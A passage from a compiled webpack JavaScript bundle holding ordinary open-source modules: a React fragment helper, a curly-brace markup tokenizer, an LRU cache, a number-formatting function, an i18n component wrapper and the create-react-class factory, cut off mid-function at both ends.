currentMixedString = mixedString;
if (!components) {
return mixedString;
}
if ((typeof components === 'undefined' ? 'undefined' : _typeof(components)) !== 'object') {
if (throwErrors) {
throw new Error('Interpolation Error: unable to process `' + mixedString + '` because components is not an object');
}
return mixedString;
}
var tokens = (0, _tokenize2.default)(mixedString);
try {
return buildChildren(tokens, components);
} catch (error) {
if (throwErrors) {
throw new Error('Interpolation Error: unable to process `' + mixedString + '` because of error `' + error.message + '`');
}
return mixedString;
}
};
exports.default = interpolate;
//# sourceMappingURL=index.js.map
/***/ }),
/* 101 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2015-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
var React = __webpack_require__(0);
var REACT_ELEMENT_TYPE =
(typeof Symbol === 'function' && Symbol.for && Symbol.for('react.element')) ||
0xeac7;
var emptyFunction = __webpack_require__(57);
var invariant = __webpack_require__(58);
var warning = __webpack_require__(59);
var SEPARATOR = '.';
var SUBSEPARATOR = ':';
var didWarnAboutMaps = false;
var ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;
var FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec.
function getIteratorFn(maybeIterable) {
var iteratorFn =
maybeIterable &&
((ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL]) ||
maybeIterable[FAUX_ITERATOR_SYMBOL]);
if (typeof iteratorFn === 'function') {
return iteratorFn;
}
}
function escape(key) {
var escapeRegex = /[=:]/g;
var escaperLookup = {
'=': '=0',
':': '=2'
};
var escapedString = ('' + key).replace(escapeRegex, function(match) {
return escaperLookup[match];
});
return '$' + escapedString;
}
function getComponentKey(component, index) {
// Do some typechecking here since we call this blindly. We want to ensure
// that we don't block potential future ES APIs.
if (component && typeof component === 'object' && component.key != null) {
// Explicit key
return escape(component.key);
}
// Implicit key determined by the index in the set
return index.toString(36);
}
function traverseAllChildrenImpl(
children,
nameSoFar,
callback,
traverseContext
) {
var type = typeof children;
if (type === 'undefined' || type === 'boolean') {
// All of the above are perceived as null.
children = null;
}
if (
children === null ||
type === 'string' ||
type === 'number' ||
// The following is inlined from ReactElement. This means we can optimize
// some checks. React Fiber also inlines this logic for similar purposes.
(type === 'object' && children.$$typeof === REACT_ELEMENT_TYPE)
) {
callback(
traverseContext,
children,
// If it's the only child, treat the name as if it was wrapped in an array
// so that it's consistent if the number of children grows.
nameSoFar === '' ? SEPARATOR + getComponentKey(children, 0) : nameSoFar
);
return 1;
}
var child;
var nextName;
var subtreeCount = 0; // Count of children found in the current subtree.
var nextNamePrefix = nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;
if (Array.isArray(children)) {
for (var i = 0; i < children.length; i++) {
child = children[i];
nextName = nextNamePrefix + getComponentKey(child, i);
subtreeCount += traverseAllChildrenImpl(
child,
nextName,
callback,
traverseContext
);
}
} else {
var iteratorFn = getIteratorFn(children);
if (iteratorFn) {
if (process.env.NODE_ENV !== 'production') {
// Warn about using Maps as children
if (iteratorFn === children.entries) {
warning(
didWarnAboutMaps,
'Using Maps as children is unsupported and will likely yield ' +
'unexpected results. Convert it to a sequence/iterable of keyed ' +
'ReactElements instead.'
);
didWarnAboutMaps = true;
}
}
var iterator = iteratorFn.call(children);
var step;
var ii = 0;
while (!(step = iterator.next()).done) {
child = step.value;
nextName = nextNamePrefix + getComponentKey(child, ii++);
subtreeCount += traverseAllChildrenImpl(
child,
nextName,
callback,
traverseContext
);
}
} else if (type === 'object') {
var addendum = '';
if (process.env.NODE_ENV !== 'production') {
addendum =
' If you meant to render a collection of children, use an array ' +
'instead or wrap the object using createFragment(object) from the ' +
'React add-ons.';
}
var childrenString = '' + children;
invariant(
false,
'Objects are not valid as a React child (found: %s).%s',
childrenString === '[object Object]'
? 'object with keys {' + Object.keys(children).join(', ') + '}'
: childrenString,
addendum
);
}
}
return subtreeCount;
}
function traverseAllChildren(children, callback, traverseContext) {
if (children == null) {
return 0;
}
return traverseAllChildrenImpl(children, '', callback, traverseContext);
}
var userProvidedKeyEscapeRegex = /\/+/g;
function escapeUserProvidedKey(text) {
return ('' + text).replace(userProvidedKeyEscapeRegex, '$&/');
}
function cloneAndReplaceKey(oldElement, newKey) {
return React.cloneElement(
oldElement,
{key: newKey},
oldElement.props !== undefined ? oldElement.props.children : undefined
);
}
var DEFAULT_POOL_SIZE = 10;
var DEFAULT_POOLER = oneArgumentPooler;
var oneArgumentPooler = function(copyFieldsFrom) {
var Klass = this;
if (Klass.instancePool.length) {
var instance = Klass.instancePool.pop();
Klass.call(instance, copyFieldsFrom);
return instance;
} else {
return new Klass(copyFieldsFrom);
}
};
var addPoolingTo = function addPoolingTo(CopyConstructor, pooler) {
// Casting as any so that flow ignores the actual implementation and trusts
// it to match the type we declared
var NewKlass = CopyConstructor;
NewKlass.instancePool = [];
NewKlass.getPooled = pooler || DEFAULT_POOLER;
if (!NewKlass.poolSize) {
NewKlass.poolSize = DEFAULT_POOL_SIZE;
}
NewKlass.release = standardReleaser;
return NewKlass;
};
var standardReleaser = function standardReleaser(instance) {
var Klass = this;
invariant(
instance instanceof Klass,
'Trying to release an instance into a pool of a different type.'
);
instance.destructor();
if (Klass.instancePool.length < Klass.poolSize) {
Klass.instancePool.push(instance);
}
};
var fourArgumentPooler = function fourArgumentPooler(a1, a2, a3, a4) {
var Klass = this;
if (Klass.instancePool.length) {
var instance = Klass.instancePool.pop();
Klass.call(instance, a1, a2, a3, a4);
return instance;
} else {
return new Klass(a1, a2, a3, a4);
}
};
function MapBookKeeping(mapResult, keyPrefix, mapFunction, mapContext) {
this.result = mapResult;
this.keyPrefix = keyPrefix;
this.func = mapFunction;
this.context = mapContext;
this.count = 0;
}
MapBookKeeping.prototype.destructor = function() {
this.result = null;
this.keyPrefix = null;
this.func = null;
this.context = null;
this.count = 0;
};
addPoolingTo(MapBookKeeping, fourArgumentPooler);
function mapSingleChildIntoContext(bookKeeping, child, childKey) {
var result = bookKeeping.result;
var keyPrefix = bookKeeping.keyPrefix;
var func = bookKeeping.func;
var context = bookKeeping.context;
var mappedChild = func.call(context, child, bookKeeping.count++);
if (Array.isArray(mappedChild)) {
mapIntoWithKeyPrefixInternal(
mappedChild,
result,
childKey,
emptyFunction.thatReturnsArgument
);
} else if (mappedChild != null) {
if (React.isValidElement(mappedChild)) {
mappedChild = cloneAndReplaceKey(
mappedChild,
// Keep both the (mapped) and old keys if they differ, just as
// traverseAllChildren used to do for objects as children
keyPrefix +
(mappedChild.key && (!child || child.key !== mappedChild.key)
? escapeUserProvidedKey(mappedChild.key) + '/'
: '') +
childKey
);
}
result.push(mappedChild);
}
}
function mapIntoWithKeyPrefixInternal(children, array, prefix, func, context) {
var escapedPrefix = '';
if (prefix != null) {
escapedPrefix = escapeUserProvidedKey(prefix) + '/';
}
var traverseContext = MapBookKeeping.getPooled(
array,
escapedPrefix,
func,
context
);
traverseAllChildren(children, mapSingleChildIntoContext, traverseContext);
MapBookKeeping.release(traverseContext);
}
var numericPropertyRegex = /^\d+$/;
var warnedAboutNumeric = false;
function createReactFragment(object) {
if (typeof object !== 'object' || !object || Array.isArray(object)) {
warning(
false,
'React.addons.createFragment only accepts a single object. Got: %s',
object
);
return object;
}
if (React.isValidElement(object)) {
warning(
false,
'React.addons.createFragment does not accept a ReactElement ' +
'without a wrapper object.'
);
return object;
}
invariant(
object.nodeType !== 1,
'React.addons.createFragment(...): Encountered an invalid child; DOM ' +
'elements are not valid children of React components.'
);
var result = [];
for (var key in object) {
if (process.env.NODE_ENV !== 'production') {
if (!warnedAboutNumeric && numericPropertyRegex.test(key)) {
warning(
false,
'React.addons.createFragment(...): Child objects should have ' +
'non-numeric keys so ordering is preserved.'
);
warnedAboutNumeric = true;
}
}
mapIntoWithKeyPrefixInternal(
object[key],
result,
key,
emptyFunction.thatReturnsArgument
);
}
return result;
}
module.exports = createReactFragment;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 102 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
function identifyToken(item) {
// {{/example}}
if (item.match(/^\{\{\//)) {
return {
type: 'componentClose',
value: item.replace(/\W/g, '')
};
}
// {{example /}}
if (item.match(/\/\}\}$/)) {
return {
type: 'componentSelfClosing',
value: item.replace(/\W/g, '')
};
}
// {{example}}
if (item.match(/^\{\{/)) {
return {
type: 'componentOpen',
value: item.replace(/\W/g, '')
};
}
return {
type: 'string',
value: item
};
}
module.exports = function (mixedString) {
var tokenStrings = mixedString.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g); // split to components and strings
return tokenStrings.map(identifyToken);
};
//# sourceMappingURL=tokenize.js.map
/***/ }),
/* 103 */
/***/ (function(module, exports, __webpack_require__) {
var events = __webpack_require__(56)
var inherits = __webpack_require__(55)
module.exports = LRU
function LRU (opts) {
if (!(this instanceof LRU)) return new LRU(opts)
if (typeof opts === 'number') opts = {max: opts}
if (!opts) opts = {}
events.EventEmitter.call(this)
this.cache = {}
this.head = this.tail = null
this.length = 0
this.max = opts.max || 1000
this.maxAge = opts.maxAge || 0
}
inherits(LRU, events.EventEmitter)
Object.defineProperty(LRU.prototype, 'keys', {
get: function () { return Object.keys(this.cache) }
})
LRU.prototype.clear = function () {
this.cache = {}
this.head = this.tail = null
this.length = 0
}
LRU.prototype.remove = function (key) {
if (typeof key !== 'string') key = '' + key
if (!this.cache.hasOwnProperty(key)) return
var element = this.cache[key]
delete this.cache[key]
this._unlink(key, element.prev, element.next)
return element.value
}
LRU.prototype._unlink = function (key, prev, next) {
this.length--
if (this.length === 0) {
this.head = this.tail = null
} else {
if (this.head === key) {
this.head = prev
this.cache[this.head].next = null
} else if (this.tail === key) {
this.tail = next
this.cache[this.tail].prev = null
} else {
this.cache[prev].next = next
this.cache[next].prev = prev
}
}
}
LRU.prototype.peek = function (key) {
if (!this.cache.hasOwnProperty(key)) return
var element = this.cache[key]
if (!this._checkAge(key, element)) return
return element.value
}
LRU.prototype.set = function (key, value) {
if (typeof key !== 'string') key = '' + key
var element
if (this.cache.hasOwnProperty(key)) {
element = this.cache[key]
element.value = value
if (this.maxAge) element.modified = Date.now()
// If it's already the head, there's nothing more to do:
if (key === this.head) return value
this._unlink(key, element.prev, element.next)
} else {
element = {value: value, modified: 0, next: null, prev: null}
if (this.maxAge) element.modified = Date.now()
this.cache[key] = element
// Eviction is only possible if the key didn't already exist:
if (this.length === this.max) this.evict()
}
this.length++
element.next = null
element.prev = this.head
if (this.head) this.cache[this.head].next = key
this.head = key
if (!this.tail) this.tail = key
return value
}
LRU.prototype._checkAge = function (key, element) {
if (this.maxAge && (Date.now() - element.modified) > this.maxAge) {
this.remove(key)
this.emit('evict', {key: key, value: element.value})
return false
}
return true
}
LRU.prototype.get = function (key) {
if (typeof key !== 'string') key = '' + key
if (!this.cache.hasOwnProperty(key)) return
var element = this.cache[key]
if (!this._checkAge(key, element)) return
if (this.head !== key) {
if (key === this.tail) {
this.tail = element.next
this.cache[this.tail].prev = null
} else {
// Set prev.next -> element.next:
this.cache[element.prev].next = element.next
}
// Set element.next.prev -> element.prev:
this.cache[element.next].prev = element.prev
// Element is the new head
this.cache[this.head].next = key
element.prev = this.head
element.next = null
this.head = key
}
return element.value
}
LRU.prototype.evict = function () {
if (!this.tail) return
var key = this.tail
var value = this.remove(this.tail)
this.emit('evict', {key: key, value: value})
}
/***/ }),
/* 104 */
/***/ (function(module, exports) {
/**
* Exposes number format capability
*
* @copyright Copyright (c) 2013 Kevin van Zonneveld (http://kvz.io) and Contributors (http://phpjs.org/authors).
* @license See CREDITS.md
* @see https://github.com/kvz/phpjs/blob/ffe1356af23a6f2512c84c954dd4e828e92579fa/functions/strings/number_format.js
*/
function number_format( number, decimals, dec_point, thousands_sep ) {
number = ( number + '' )
.replace( /[^0-9+\-Ee.]/g, '' );
var n = ! isFinite( +number ) ? 0 : +number,
prec = ! isFinite( +decimals ) ? 0 : Math.abs( decimals ),
sep = ( typeof thousands_sep === 'undefined' ) ? ',' : thousands_sep,
dec = ( typeof dec_point === 'undefined' ) ? '.' : dec_point,
s = '',
toFixedFix = function( n, prec ) {
var k = Math.pow( 10, prec );
return '' + ( Math.round( n * k ) / k )
.toFixed( prec );
};
// Fix for IE parseFloat(0.55).toFixed(0) = 0;
s = ( prec ? toFixedFix( n, prec ) : '' + Math.round( n ) )
.split( '.' );
if ( s[ 0 ].length > 3 ) {
s[ 0 ] = s[ 0 ].replace( /\B(?=(?:\d{3})+(?!\d))/g, sep );
}
if ( ( s[ 1 ] || '' )
.length < prec ) {
s[ 1 ] = s[ 1 ] || '';
s[ 1 ] += new Array( prec - s[ 1 ].length + 1 )
.join( '0' );
}
return s.join( dec );
}
module.exports = number_format;
/***/ }),
/* 105 */
/***/ (function(module, exports, __webpack_require__) {
var React = __webpack_require__( 0 ),
assign = __webpack_require__( 60 ),
createClass = __webpack_require__( 106 );
/**
* Localize a React component
* @param ComposedComponent
* @returns A new Localized React Component
*/
module.exports = function( i18n ) {
var i18nProps = {
numberFormat: i18n.numberFormat.bind( i18n ),
translate: i18n.translate.bind( i18n )
};
return function( ComposedComponent ) {
var componentName = ComposedComponent.displayName || ComposedComponent.name || '';
var component = createClass({
displayName: 'Localized(' + componentName + ')',
componentDidMount: function() {
this.boundForceUpdate = this.forceUpdate.bind( this );
i18n.stateObserver.addListener( 'change', this.boundForceUpdate );
},
componentWillUnmount: function() {
// in some cases, componentWillUnmount is called before componentDidMount
// Supposedly fixed in React 15.1.0: https://github.com/facebook/react/issues/2410
if ( this.boundForceUpdate ) {
i18n.stateObserver.removeListener( 'change', this.boundForceUpdate );
}
},
render: function() {
var props = assign( {}, this.props, i18nProps );
return React.createElement( ComposedComponent, props );
}
} );
component._composedComponent = ComposedComponent;
return component;
};
};
/***/ }),
/* 106 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*/
var React = __webpack_require__(0);
var factory = __webpack_require__(107);
if (typeof React === 'undefined') {
throw Error(
'create-react-class could not find the React object. If you are using script tags, ' +
'make sure that React is being loaded before create-react-class.'
);
}
// Hack to grab NoopUpdateQueue from isomorphic React
var ReactNoopUpdateQueue = new React.Component().updater;
module.exports = factory(
React.Component,
React.isValidElement,
ReactNoopUpdateQueue
);
/***/ }),
/* 107 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*/
var _assign = __webpack_require__(62);
var emptyObject = __webpack_require__(108);
var _invariant = __webpack_require__(58);
if (process.env.NODE_ENV !== 'production') {
var warning = __webpack_require__(59);
}
var MIXINS_KEY = 'mixins';
// Helper function to allow the creation of anonymous functions which do not
// have .name set to the name of the variable being assigned to.
function identity(fn) {
return fn;
}
var ReactPropTypeLocationNames;
if (process.env.NODE_ENV !== 'production') {
ReactPropTypeLocationNames = {
prop: 'prop',
context: 'context',
childContext: 'child context'
};
} else {
ReactPropTypeLocationNames = {};
}
function factory(ReactComponent, isValidElement, ReactNoopUpdateQueue) {
/**
* Policies that describe methods in `ReactClassInterface`.
*/
var injectedMixins = [];
/**
* Composite components are higher-level components that compose other composite
* or host components.
*
* To create a new type of `ReactClass`, pass a specification of
* your new class to `React.createClass`. The only requirement of your class
* specification is that you implement a `render` method.
*
* var MyComponent = React.createClass({
* render: function() {
* return <div>Hello World</div>;
* }
* });
*
* The class specification supports a specific protocol of methods that have
* special meaning (e.g. `render`). See `ReactClassInterface` for
* more the comprehensive protocol. Any other properties and methods in the
* class specification will be available on the prototype.
*
* @interface ReactClassInterface
* @internal
*/
var ReactClassInterface = {
/**
* An array of Mixin objects to include when defining your component.
*
* @type {array}
* @optional
*/
mixins: 'DEFINE_MANY',
/**
* An object containing properties and methods that should be defined on
* the component's constructor instead of its prototype (static methods).
*
* @type {object}
* @optional
*/
statics: 'DEFINE_MANY',
/**
* Definition of prop types for this component.
*
* @type {object}
* @optional
*/
propTypes: 'DEFINE_MANY',
/**
* Definition of context types for this component.
*
* @type {object}
* @optional
*/
contextTypes: 'DEFINE_MANY',
/**
* Definition of context types this component sets for its children.
*
* @type {object}
* @optional
*/
childContextTypes: 'DEFINE_MANY',
// ==== Definition methods ====
/**
* Invoked when the component is mounted. Values in the mapping will be set on
* `this.props` if that prop is not specified (i.e. using an `in` check).
*
* This method is invoked before `getInitialState` and therefore cannot rely
* on `this.state` or use `this.setState`.
*
* @return {object}
* @optional
*/
getDefaultProps: 'DEFINE_MANY_MERGED',
/**
* Invoked once before the component is mounted. The return value will be used
* as the initial value of `this.state`.
*
* getInitialState: function() {
* return {
* isOn: false,
* fooBaz: new BazFoo()
* }
* }
*
* @return {object}
* @optional
*/
getInitialState: 'DEFINE_MANY_MERGED',
/**
* @return {object}
* @optional
*/
getChildContext: 'DEFINE_MANY_MERGED',
/**
* Uses props from `this.props` and state from `this.state` to render the
* structure of the component.
*
* No guarantees are made about when or how often this method is invoked, so
* it must not have side effects.
*
* render: function() {
* var name = this.props.name;
* return <div>Hello, {name}!</div>;
* }
*
* @return {ReactComponent}
* @required
*/
render: 'DEFINE_ONCE',
// ==== Delegate methods ====
/**
* Invoked when the component is initially created and about to be mounted.
* This may have side effects, but any external subscriptions or data created
* by this method must be cleaned up in `componentWillUnmount`.
*
* @optional
*/
componentWillMount: 'DEFINE_MANY',
/**
* Invoked when the component has been mounted and has a DOM representation.
* However, there is no guarantee that the DOM node is in the document.
*
* Use this as an opportunity to operate on the DOM when the component has
* been mounted (initialized and rendered) for the first time.
*
* @param {DOMElement} rootNode DOM element representing the component.
* @optional
*/
componentDidMount: 'DEFINE_MANY',
/**
* Invoked before the component receives new props.
*
* Use this as an opportunity to react to a prop transition by updating the
* state using `this.setState`. Current props are accessed via `this.props`.
*
* componentWillReceiveProps: function(nextProps, nextContext) {
* this.setState({
* likesIncreasing: nextProps.likeCount > this.props.likeCount
* });
* }
*
* NOTE: There is no equivalent `componentWillReceiveState`. An incoming prop
* transition may cause a state change, but the opposite is not true. If you
* need it, you are probably looking for `componentWillUpdate`.
*
* @param {object} nextProps
* @optional
*/
componentWillReceiveProps: 'DEFINE_MANY',
/**
* Invoked while deciding if the component should be updated as a result of
* receiving new props, state and/or context.
*
* Use this as an opportunity to `return false` when you're certain that the
* transition to the new props/state/context will not require a component
* update.
*
* shouldComponentUpdate: function(nextProps, nextState, nextContext) {
* return !equal(nextProps, this.props) ||
* !equal(nextState, this.state) ||
* !equal(nextContext, this.context);
* }
*
* @param {object} nextProps
* @param {?object} nextState
* @param {?object} nextContext
* @return {boolean} True if the component should update.
* @optional
*/
shouldComponentUpdate: 'DEFINE_ONCE',
/**
* Invoked when the component is about to update due to a transition from
* `this.props`, `this.state` and `this.context` to `nextProps`, `nextState`
* and `nextContext`.
*
* Use this as an opportunity to perform preparation before an update occurs.
*
* NOTE: You **cannot** use `this.setState()` in this method.
*
* @param {object} nextProps
* @param {?object} nextState
* @param {?object} nextContext
* @param {ReactReconcileTransaction} transaction
* @optional
*/
componentWillUpdate: 'DEFINE_MANY',
/**
* Invoked when the component's DOM representation has been updated.
*
* Use this as an opportunity to operate on the DOM when the component has
* been updated.
*
* @param {object} prevProps
* @param {?object} prevState
* @param {?object} prevContext
* @param {DOMElement} rootNode DOM element representing the component.
* @optional
*/
componentDidUpdate: 'DEFINE_MANY',
/**
* Invoked when the component is about to be removed from its parent and have
* its DOM representation destroyed.
*
* Use this as an opportunity to deallocate any external resources.
*
* NOTE: There is no `componentDidUnmount` since your component will have been
* destroyed by that point.
*
* @optional
*/
componentWillUnmount: 'DEFINE_MANY',
/**
* Replacement for (deprecated) `componentWillMount`.
*
* @optional
*/
UNSAFE_componentWillMount: 'DEFINE_MANY',
/**
* Replacement for (deprecated) `componentWillReceiveProps`.
*
* @optional
*/
UNSAFE_componentWillReceiveProps: 'DEFINE_MANY',
/**
* Replacement for (deprecated) `componentWillUpdate`.
*
* @optional
*/
UNSAFE_componentWillUpdate: 'DEFINE_MANY',
// ==== Advanced methods ====
/**
* Updates the component's currently mounted DOM representation.
*
* By default, this implements React's rendering and reconciliation algorithm.
* Sophisticated clients may wish to override this.
*
* @param {ReactReconcileTransaction} transaction
* @internal
* @overridable
*/
updateComponent: 'OVERRIDE_BASE'
};
/**
* Similar to ReactClassInterface but for static methods.
*/
var ReactClassStaticInterface = {
/**
* This method is invoked after a component is instantiated and when it
* receives new props. Return an object to update state in response to
* prop changes. Return null to indicate no change to state.
*
* If an object is returned, its keys will be merged into the existing state.
*
* @return {object || null}
* @optional
*/
getDerivedStateFromProps: 'DEFINE_MANY_MERGED'
};
/**
* Mapping from class specification keys to special processing functions.
*
* Although these are declared like instance properties in the specification
* when defining classes using `React.createClass`, they are actually static
* and are accessible on the constructor instead of the prototype. Despite
* being static, they must be defined outside of the "statics" key under
* which all other static methods are defined.
*/
var RESERVED_SPEC_KEYS = {
displayName: function(Constructor, displayName) {
Constructor.displayName = displayName;
},
mixins: function(Constructor, mixins) {
if (mixins) {
for (var i = 0; i < mixins.length; i++) {
mixSpecIntoComponent(Constructor, mixins[i]);
}
}
},
childContextTypes: function(Constructor, childContextTypes) {
if (process.env.NODE_ENV !== 'production') {
validateTypeDef(Constructor, childContextTypes, 'childContext');
}
Constructor.childContextTypes = _assign(
{},
Constructor.childContextTypes,
childContextTypes
);
},
contextTypes: function(Constructor, contextTypes) {
if (process.env.NODE_ENV !== 'production') {
validateTypeDef(Constructor, contextTypes, 'context');
}
Constructor.contextTypes = _assign(
{},
Constructor.contextTypes,
contextTypes
);
},
/**
* Special case getDefaultProps which should move into statics but requires
* automatic merging.
*/
getDefaultProps: function(Constructor, getDefaultProps) {
if (Constructor.getDefaultProps) {
Constructor.getDefaultProps = createMergedResultFunction(
Constructor.getDefaultProps,
getDefaultProps
);
} else {
Constructor.getDefaultProps = getDefaultProps;
}
},
propTypes: function(Constructor, propTypes) {
if (process.env.NODE_ENV !== 'production') {
validateTypeDef(Constructor, propTypes, 'prop');
}
Constructor.propTypes = _assign({}, Constructor.propTypes, propTypes);
},
statics: function(Constructor, statics) {
mixStaticSpecIntoComponent(Constructor, statics);
},
autobind: function() {}
};
function validateTypeDef(Constructor, typeDef, location) {
for (var propName in typeDef) {
if (typeDef.hasOwnProperty(propName)) {
// use a warning instead of an _invariant so components
// don't show up in prod but only in __DEV__
if (process.env.NODE_ENV !== 'production') {
warning(
typeof typeDef[propName] === 'function',
'%s: %s type `%s` is invalid; it must be a function, usually from ' +
'React.PropTypes.',
Constructor.displayName || 'ReactClass',
ReactPropTypeLocationNames[location],
propName
);
}
}
}
}
function validateMethodOverride(isAlreadyDefined, name) {
var specPolicy = ReactClassInterface.hasOwnProperty(name)
? ReactClassInterface[name]
: null;
// Disallow overriding of base class methods unless explicitly allowed.
if (ReactClassMixin.hasOwnProperty(name)) {
_invariant(
specPolicy === 'OVERRIDE_BASE',
'ReactClassInterface: You are attempting to override ' +
'`%s` from your class specification. Ensure that your method names ' +
'do not overlap with React methods.',
name
);
}
// Disallow defining methods more than once unless explicitly allowed.
if (isAlreadyDefined) {
_invariant(
specPolicy === 'DEFINE_MANY' || specPolicy === 'DEFINE_MANY_MERGED',
'ReactClassInterface: You are attempting to define ' +
'`%s` on your component more than once. This conflict may be due ' +
'to a mixin.',
name
);
}
}
/**
* Mixin helper which handles policy validation and reserved
* specification keys when building React classes.
*/
function mixSpecIntoComponent(Constructor, spec) {
if (!spec) {
if (process.env.NODE_ENV !== 'production') {
var typeofSpec = typeof spec;
var isMixinValid = typeofSpec === 'object' && spec !== null;
if (process.env.NODE_ENV !== 'production') {
warning(
isMixinValid,
"%s: You're attempting to include a mixin that is either null " +
'or not an object. Check the mixins included by the component, ' +
'as well as any mixins they include themselves. ' +
'Expected object but got %s.',
Constructor.displayName || 'ReactClass',
spec === null ? null : typeofSpec
);
}
}
return;
}
_invariant(
typeof spec !== 'function',
"ReactClass: You're attempting to " +
'use a component class or function as a mixin. Instead, just use a ' +
'regular object.'
);
_invariant(
!isValidElement(spec),
"ReactClass: You're attempting to " +
'use a component as a mixin. Instead, just use a regular object.'
);
var proto = Constructor.prototype;
var autoBindPairs = proto.__reactAutoBindPairs;
// By handling mixins before any other properties, we ensure the same
// chaining order is applied to methods with DEFINE_MANY policy, whether
// mixins are listed before or after these methods in the spec.
if (spec.hasOwnProperty(MIXINS_KEY)) {
RESERVED_SPEC_KEYS.mixins(Constructor, spec.mixins);
}
for (var name in spec) {
if (!spec.hasOwnProperty(name)) {
continue;
}
if (name === MIXINS_KEY) {
// We have already handled mixins in a special case above.
continue;
}
var property = spec[name];
var isAlreadyDefined = proto.hasOwnProperty(name);
validateMethodOverride(isAlreadyDefined, name);
if (RESERVED_SPEC_KEYS.hasOwnProperty(name)) {
RESERVED_SPEC_KEYS[name](Constructor, property);
} else {
// Setup methods on prototype:
// The following member methods should not be automatically bound:
// 1. Expected ReactClass methods (in the "interface").
// 2. Overridden methods (that were mixed in).
var isReactClassMethod = ReactClassInterface.hasOwnProperty(name);
var isFunction = typeof property === 'function';
var shouldAutoBind =
isFunction &&
!isReactClassMethod &&
!isAlreadyDefined &&
spec.autobind !== false;
if (shouldAutoBind) {
autoBindPairs.push(name, property);
proto[name] = property;
} else {
if (isAlreadyDefined) {
var specPolicy = ReactClassInterface[name];
// These cases should already be caught by validateMethodOverride.
_invariant(
isReactClassMethod &&
(specPolicy === 'DEFINE_MANY_MERGED' ||
specPolicy === 'DEFINE_MANY'),
'ReactClass: Unexpected spec policy %s for key %s ' +
'when mixing in component specs.',
specPolicy,
name
);
// For methods which are defined more than once, call the existing
// methods before calling the new property, merging if appropriate.
if (specPolicy === 'DEFINE_MANY_MERGED') {
proto[name] = createMergedResultFunction(proto[name], property);
} else if (specPolicy === 'DEFINE_MANY') {
proto[name] = createChainedFunction(proto[name], property);
}
} else {
proto[name] = property;
if (process.env.NODE_ENV !== 'production') {
// Add verbose displayName to the function, which helps when looking
// at profiling tools.
if (typeof property === 'function' && spec.displayName) {
proto[name].displayName = spec.displayName + '_' + name;
}
}
}
}
}
}
}
function mixStaticSpecIntoComponent(Constructor, statics) {
if (!statics) {
return;
}
for (var name in statics) {
var property = statics[name];
if (!statics.hasOwnProperty(name)) {
continue;
}
var isReserved = name in RESERVED_SPEC_KEYS;
_invariant(
!isReserved,
'ReactClass: You are attempting to define a reserved ' +
'property, `%s`, that shouldn\'t be on the "statics" key. Define it ' +
'as an instance property instead; it will still be accessible on the ' +
'constructor.',
name
);
var isAlreadyDefined = name in Constructor;
if (isAlreadyDefined) {
var specPolicy = ReactClassStaticInterface.hasOwnProperty(name)
? ReactClassStaticInterface[name]
: null;
_invariant(
specPolicy === 'DEFINE_MANY_MERGED',
'ReactClass: You are attempting to define ' +
'`%s` on your component more than once. This conflict may be ' +
'due to a mixin.',
name
);
Constructor[name] = createMergedResultFunction(Constructor[name], property);
return;
}
Constructor[name] = property;
}
}
/**
* Merge two objects, but throw if both contain the same key.
*
* @param {object} one The first object, which is mutated.
* @param {object} two The second object
* @return {object} one after it has been mutated to contain everything in two.
*/
function mergeIntoWithNoDuplicateKeys(one, two) {
_invariant(
one && two && typeof one === 'object' && typeof two === 'object',
'mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects.'
);
for (var key in two) {
if (two.hasOwnProperty(key)) {
_invariant(
one[key] === undefined,
'mergeIntoWithNoDuplicateKeys(): ' +
'Tried to merge two objects with the same key: `%s`. This conflict ' +
'may be due to a mixin; in particular, this may be caused by two ' +
'getInitialState() or getDefaultProps() methods returning objects ' +
'with clashing keys.',
key
);
one[key] = two[key];
}
}
return one;
}
/**
* Creates a function that invokes two functions and merges their return values.
*
* @param {function} one Function to invoke first.
* @param {function} two Function to invoke second.
* @return {function} Function that invokes the two argument functions.
* @private
*/
function createMergedResultFunction(one, two) {
return function mergedResult() {
var a = one.apply(this, arguments);
var b = two.apply(this, arguments);
if (a == null) {
return b;
} else if (b == null) {
return a;
}
var c = {};
mergeIntoWithNoDuplicateKeys(c, a);
mergeIntoWithNoDuplicateKeys(c, b);
return c;
};
}
/**
* Creates a function that invokes two functions and ignores their return vales.
*
* @param {function} one Function to invoke first.
* @param {function} two Function to invoke second.
* @return {function} Function that invokes the two argument functions.
* @private
*/
function createChainedFunction(one, two) {
return function chainedFunction() {
one.apply(this, arguments);
two.apply(this, arguments);
};
}
/**
* Binds a method to the component.
*
* @param {object} component Component whose method is going to be bound.
* @param {function} method Method to be bound.
* @return {function} The bound method.
*/
function bindAutoBindMethod(component, method) {
var boundMethod = method.bind(component);
if (process.env.NODE_ENV !== 'production') {
boundMethod.__reactBoundContext = component;
boundMethod.__reactBoundMethod = method;
boundMethod.__reactBoundArguments = null;
var componentName = component.constructor.displayName;
var _bind = boundMethod.bind;
boundMethod.bind = function(newThis) {
for (
var _len = arguments.length,
args = Array(_len > 1 ? _len - 1 : 0),
_key = 1;
_key < _len;
_key++
) {
args[_key - 1] = arguments[_key];
}
// User is trying to bind() an autobound method; we effectively will
// ignore the value of "this" that the user is trying to use, so
// let's warn.
if (newThis !== component && newThis !== null) {
if (process.env.NODE_ENV !== 'production') {
warning(
false,
'bind(): React component methods may only be bound to the ' +
'component instance. See %s',
componentName
);
}
} else if (!args.length) {
if (process.env.NODE_ENV !== 'production') {
warning(
false,
'bind(): You are binding a component method to the component. ' +
'React does this for you automatically in a high-performance ' +
'way, so you can safely remove this call. See %s',
componentName
);
}
